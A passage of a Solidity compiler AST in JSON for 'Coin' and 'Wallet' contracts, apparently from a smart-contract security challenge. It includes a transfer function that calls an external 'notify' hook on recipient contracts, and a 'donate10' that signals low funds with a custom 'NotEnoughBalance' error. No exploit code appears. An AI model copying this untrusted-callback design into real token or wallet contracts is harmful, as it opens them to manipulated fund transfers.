6"},"typeName":{"id":53156,"name":"uint256","nodeType":"ElementaryTypeName","src":"935:7:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"917:35:87"}},{"id":53173,"nodeType":"FunctionDefinition","src":"959:131:87","nodes":[],"body":{"id":53172,"nodeType":"Block","src":"988:102:87","nodes":[],"statements":[{"expression":{"id":53170,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":53164,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53153,"src":"1056:8:87","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":53166,"indexExpression":{"id":53165,"name":"wallet_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53161,"src":"1065:7:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"1056:17:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"commonType":{"typeIdentifier":"t_rational_1000000_by_1","typeString":"int_const 1000000"},"id":53169,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"leftExpression":{"hexValue":"3130","id":53167,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1076:2:87","typeDescriptions":{"typeIdentifier":"t_rational_10_by_1","typeString":"int_const 10"},"value":"10"},"nodeType":"BinaryOperation","operator":"**","rightExpression":{"hexValue":"36","id":53168,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1082:1:87","typeDescriptions":{"typeIdentifier":"t_rational_6_by_1","typeString":"int_const 6"},"value":"6"},"src":"1076:7:87","typeDescriptions":{"typeIdentifier":"t_rational_1000000_by_1","typeString":"int_const 1000000"}},"src":"1056:27:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":53171,"nodeType":"ExpressionStatement","src":"1056:27:87"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":53162,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53161,"mutability":"mutable","name":"wallet_","nameLocation":"979:7:87","nodeType":"VariableDeclaration","scope":53173,"src":"971:15:87","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53160,"name":"address","nodeType":"ElementaryTypeName","src":"971:7:87","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"970:17:87"},"returnParameters":{"id":53163,"nodeType":"ParameterList","parameters":[],"src":"988:0:87"},"scope":53225,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":53224,"nodeType":"FunctionDefinition","src":"1096:533:87","nodes":[],"body":{"id":53223,"nodeType":"Block","src":"1155:474:87","nodes":[],"statements":[{"assignments":[53181],"declarations":[{"constant":false,"id":53181,"mutability":"mutable","name":"currentBalance","nameLocation":"1173:14:87","nodeType":"VariableDeclaration","scope":53223,"src":"1165:22:87","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":53180,"name":"uint256","nodeType":"ElementaryTypeName","src":"1165:7:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":53186,"initialValue":{"baseExpression":{"id":53182,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53153,"src":"1190:8:87","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":53185,"indexExpression":{"expression":{"id":53183,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1199:3:87","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":53184,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1203:6:87","memberName":"sender","nodeType":"MemberAccess","src":"1199:10:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1190:20:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"1165:45:87"},{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":53189,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":53187,"name":"amount_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53177,"src":"1278:7:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<=","rightExpression":{"id":53188,"name":"currentBalance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53181,"src":"1289:14:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"1278:25:87","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"id":53221,"nodeType":"Block","src":"1547:76:87","statements":[{"errorCall":{"arguments":[{"id":53217,"name":"currentBalance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53181,"src":"1588:14:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":53218,"name":"amount_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53177,"src":"1604:7:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":53216,"name":"InsufficientBalance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53159,"src":"1568:19:87","typeDescriptions":{"typeIdentifier":"t_function_error_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":53219,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1568:44:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":53220,"nodeType":"RevertStatement","src":"1561:51:87"}]},"id":53222,"nodeType":"IfStatement","src":"1274:349:87","trueBody":{"id":53215,"nodeType":"Block","src":"1305:236:87","statements":[{"expression":{"id":53195,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":53190,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53153,"src":"1319:8:87","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":53193,"indexExpression":{"expression":{"id":53191,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1328:3:87","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":53192,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1332:6:87","memberName":"sender","nodeType":"MemberAccess","src":"1328:10:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"1319:20:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"-=","rightHandSide":{"id":53194,"name":"amount_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53177,"src":"1343:7:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"1319:31:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":53196,"nodeType":"ExpressionStatement","src":"1319:31:87"},{"expression":{"id":53201,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":53197,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53153,"src":"1364:8:87","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":53199,"indexExpression":{"id":53198,"name":"dest_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53175,"src":"1373:5:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"1364:15:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"+=","rightHandSide":{"id":53200,"name":"amount_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53177,"src":"1383:7:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"1364:26:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":53202,"nodeType":"ExpressionStatement","src":"1364:26:87"},{"condition":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":53203,"name":"dest_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53175,"src":"1409:5:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":53204,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1415:10:87","memberName":"isContract","nodeType":"MemberAccess","referencedDeclaration":47982,"src":"1409:16:87","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$returns$_t_bool_$attached_to$_t_address_$","typeString":"function (address) view returns (bool)"}},"id":53205,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1409:18:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":53214,"nodeType":"IfStatement","src":"1405:126:87","trueBody":{"id":53213,"nodeType":"Block","src":"1429:102:87","statements":[{"expression":{"arguments":[{"id":53210,"name":"amount_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53177,"src":"1508:7:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"id":53207,"name":"dest_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53175,"src":"1494:5:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":53206,"name":"INotifyable","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53327,"src":"1482:11:87","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_INotifyable_$53327_$","typeString":"type(contract INotifyable)"}},"id":53208,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1482:18:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_INotifyable_$53327","typeString":"contract INotifyable"}},"id":53209,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1501:6:87","memberName":"notify","nodeType":"MemberAccess","referencedDeclaration":53326,"src":"1482:25:87","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_uint256_$returns$__$","typeString":"function (uint256) external"}},"id":53211,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1482:34:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":53212,"nodeType":"ExpressionStatement","src":"1482:34:87"}]}}]}}]},"functionSelector":"a9059cbb","implemented":true,"kind":"function","modifiers":[],"name":"transfer","nameLocation":"1105:8:87","parameters":{"id":53178,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53175,"mutability":"mutable","name":"dest_","nameLocation":"1122:5:87","nodeType":"VariableDeclaration","scope":53224,"src":"1114:13:87","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53174,"name":"address","nodeType":"ElementaryTypeName","src":"1114:7:87","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":53177,"mutability":"mutable","name":"amount_","nameLocation":"1137:7:87","nodeType":"VariableDeclaration","scope":53224,"src":"1129:15:87","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":53176,"name":"uint256","nodeType":"ElementaryTypeName","src":"1129:7:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1113:32:87"},"returnParameters":{"id":53179,"nodeType":"ParameterList","parameters":[],"src":"1155:0:87"},"scope":53225,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"Coin","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[53225],"name":"Coin","nameLocation":"799:4:87","scope":53328,"usedErrors":[53159],"usedEvents":[]},{"id":53321,"nodeType":"ContractDefinition","src":"1633:868:87","nodes":[{"id":53227,"nodeType":"VariableDeclaration","src":"1695:20:87","nodes":[],"constant":false,"functionSelector":"8da5cb5b","mutability":"mutable","name":"owner","nameLocation":"1710:5:87","scope":53321,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53226,"name":"address","nodeType":"ElementaryTypeName","src":"1695:7:87","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":53230,"nodeType":"VariableDeclaration","src":"1722:16:87","nodes":[],"constant":false,"functionSelector":"11df9995","mutability":"mutable","name":"coin","nameLocation":"1734:4:87","scope":53321,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"},"typeName":{"id":53229,"nodeType":"UserDefinedTypeName","pathNode":{"id":53228,"name":"Coin","nameLocations":["1722:4:87"],"nodeType":"IdentifierPath","referencedDeclaration":53225,"src":"1722:4:87"},"referencedDeclaration":53225,"src":"1722:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"visibility":"public"},{"id":53232,"nodeType":"ErrorDefinition","src":"1745:18:87","nodes":[],"errorSelector":"5fc483c5","name":"OnlyOwner","nameLocation":"1751:9:87","parameters":{"id":53231,"nodeType":"ParameterList","parameters":[],"src":"1760:2:87"}},{"id":53234,"nodeType":"ErrorDefinition","src":"1768:25:87","nodes":[],"errorSelector":"ad3a8b9e","name":"NotEnoughBalance","nameLocation":"1774:16:87","parameters":{"id":53233,"nodeType":"ParameterList","parameters":[],"src":"1790:2:87"}},{"id":53247,"nodeType":"ModifierDefinition","src":"1799:116:87","nodes":[],"body":{"id":53246,"nodeType":"Block","src":"1820:95:87","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":53239,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":53236,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1834:3:87","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":53237,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1838:6:87","memberName":"sender","nodeType":"MemberAccess","src":"1834:10:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"id":53238,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53227,"src":"1848:5:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1834:19:87","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":53244,"nodeType":"IfStatement","src":"1830:68:87","trueBody":{"id":53243,"nodeType":"Block","src":"1855:43:87","statements":[{"errorCall":{"arguments":[],"expression":{"argumentTypes":[],"id":53240,"name":"OnlyOwner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53232,"src":"1876:9:87","typeDescriptions":{"typeIdentifier":"t_function_error_pure$__$returns$__$","typeString":"function () pure"}},"id":53241,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1876:11:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":53242,"nodeType":"RevertStatement","src":"1869:18:87"}]}},{"id":53245,"nodeType":"PlaceholderStatement","src":"1907:1:87"}]},"name":"onlyOwner","nameLocation":"1808:9:87","parameters":{"id":53235,"nodeType":"ParameterList","parameters":[],"src":"1817:2:87"},"virtual":false,"visibility":"internal"},{"id":53256,"nodeType":"FunctionDefinition","src":"1921:49:87","nodes":[],"body":{"id":53255,"nodeType":"Block","src":"1935:35:87","nodes":[],"statements":[{"expression":{"id":53253,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":53250,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53227,"src":"1945:5:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":53251,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1953:3:87","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":53252,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1957:6:87","memberName":"sender","nodeType":"MemberAccess","src":"1953:10:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1945:18:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":53254,"nodeType":"ExpressionStatement","src":"1945:18:87"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":53248,"nodeType":"ParameterList","parameters":[],"src":"1932:2:87"},"returnParameters":{"id":53249,"nodeType":"ParameterList","parameters":[],"src":"1935:0:87"},"scope":53321,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":53286,"nodeType":"FunctionDefinition","src":"1976:273:87","nodes":[],"body":{"id":53285,"nodeType":"Block","src":"2028:221:87","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":53271,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"arguments":[{"id":53267,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"2094:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}],"id":53266,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2086:7:87","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":53265,"name":"address","nodeType":"ElementaryTypeName","src":"2086:7:87","typeDescriptions":{}}},"id":53268,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2086:13:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":53263,"name":"coin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53230,"src":"2072:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"id":53264,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2077:8:87","memberName":"balances","nodeType":"MemberAccess","referencedDeclaration":53153,"src":"2072:13:87","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":53269,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2072:28:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"hexValue":"3130","id":53270,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2103:2:87","typeDescriptions":{"typeIdentifier":"t_rational_10_by_1","typeString":"int_const 10"},"value":"10"},"src":"2072:33:87","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"id":53283,"nodeType":"Block","src":"2163:80:87","statements":[{"expression":{"arguments":[{"id":53279,"name":"dest_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53258,"src":"2222:5:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"hexValue":"3130","id":53280,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2229:2:87","typeDescriptions":{"typeIdentifier":"t_rational_10_by_1","typeString":"int_const 10"},"value":"10"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_rational_10_by_1","typeString":"int_const 10"}],"expression":{"id":53276,"name":"coin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53230,"src":"2208:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"id":53278,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2213:8:87","memberName":"transfer","nodeType":"MemberAccess","referencedDeclaration":53224,"src":"2208:13:87","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256) external"}},"id":53281,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2208:24:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":53282,"nodeType":"ExpressionStatement","src":"2208:24:87"}]},"id":53284,"nodeType":"IfStatement","src":"2068:175:87","trueBody":{"id":53275,"nodeType":"Block","src":"2107:50:87","statements":[{"errorCall":{"arguments":[],"expression":{"argumentTypes":[],"id":53272,"name":"NotEnoughBalance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53234,"src":"2128:16:87","typeDescriptions":{"typeIdentifier":"t_function_error_pure$__$returns$__$","typeString":"function () pure"}},"id":53273,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2128:18:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":53274,"nodeType":"RevertStatement","src":"2121:25:87"}]}}]},"functionSelector":"f836afce","implemented":true,"kind":"function","modifiers":[{"id":53261,"kind":"modifierInvocation","modifierName":{"id":53260,"name":"onlyOwner","nameLocations":["2018:9:87"],"nodeType":"IdentifierPath","referencedDeclaration":53247,"src":"2018:9:87"},"nodeType":"ModifierInvocation","src":"2018:9:87"}],"name":"donate10","nameLocation":"1985:8:87","parameters":{"id":53259,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53258,"mutability":"mutable","name":"dest_","nameLocation":"2002:5:87","nodeType":"VariableDeclaration","scope":53286,"src":"1994:13:87","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53257,"name":"address","nodeType":"ElementaryTypeName","src":"1994:7:87","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1993:15:87"},"returnParameters":{"id":53262,"nodeType":"ParameterList","parameters":[],"src":"2028:0:87"},"scope":53321,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":53307,"nodeType":"FunctionDefinition","src":"2255:161:87","nodes":[],"body":{"id":53306,"nodeType":"Block","src":"2316:100:87","nodes":[],"statements":[{"expression":{"arguments":[{"id":53296,"name":"dest_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53288,"src":"2373:5:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"arguments":[{"id":53301,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"2402:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}],"id":53300,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2394:7:87","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":53299,"name":"address","nodeType":"ElementaryTypeName","src":"2394:7:87","typeDescriptions":{}}},"id":53302,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2394:13:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":53297,"name":"coin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53230,"src":"2380:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"id":53298,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2385:8:87","memberName":"balances","nodeType":"MemberAccess","referencedDeclaration":53153,"src":"2380:13:87","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":53303,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2380:28:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":53293,"name":"coin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53230,"src":"2359:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"id":53295,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2364:8:87","memberName":"transfer","nodeType":"MemberAccess","referencedDeclaration":53224,"src":"2359:13:87","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256) external"}},"id":53304,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2359:50:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":53305,"nodeType":"ExpressionStatement","src":"2359:50:87"}]},"functionSelector":"e40b8658","implemented":true,"kind":"function","modifiers":[{"id":53291,"kind":"modifierInvocation","modifierName":{"id":53290,"name":"onlyOwner","nameLocations":["2306:9:87"],"nodeType":"IdentifierPath","referencedDeclaration":53247,"src":"2306:9:87"},"nodeType":"ModifierInvocation","src":"2306:9:87"}],"name":"transferRemainder","nameLocation":"2264:17:87","parameters":{"id":53289,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53288,"mutability":"mutable","name":"dest_","nameLocation":"2290:5:87","nodeType":"VariableDeclaration","scope":53307,"src":"2282:13:87","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53287,"name":"address","nodeType":"ElementaryTypeName","src":"2282:7:87","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"2281:15:87"},"returnParameters":{"id":53292,"nodeType":"ParameterList","parameters":[],"src":"2316:0:87"},"scope":53321,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":53320,"nodeType":"FunctionDefinition","src":"2422:77:87","nodes":[],"body":{"id":53319,"nodeType":"Block","src":"2470:29:87","nodes":[],"statements":[{"expression":{"id":53317,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":53315,"name":"coin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53230,"src":"2480:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":53316,"name":"coin_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53310,"src":"2487:5:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"src":"2480:12:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract 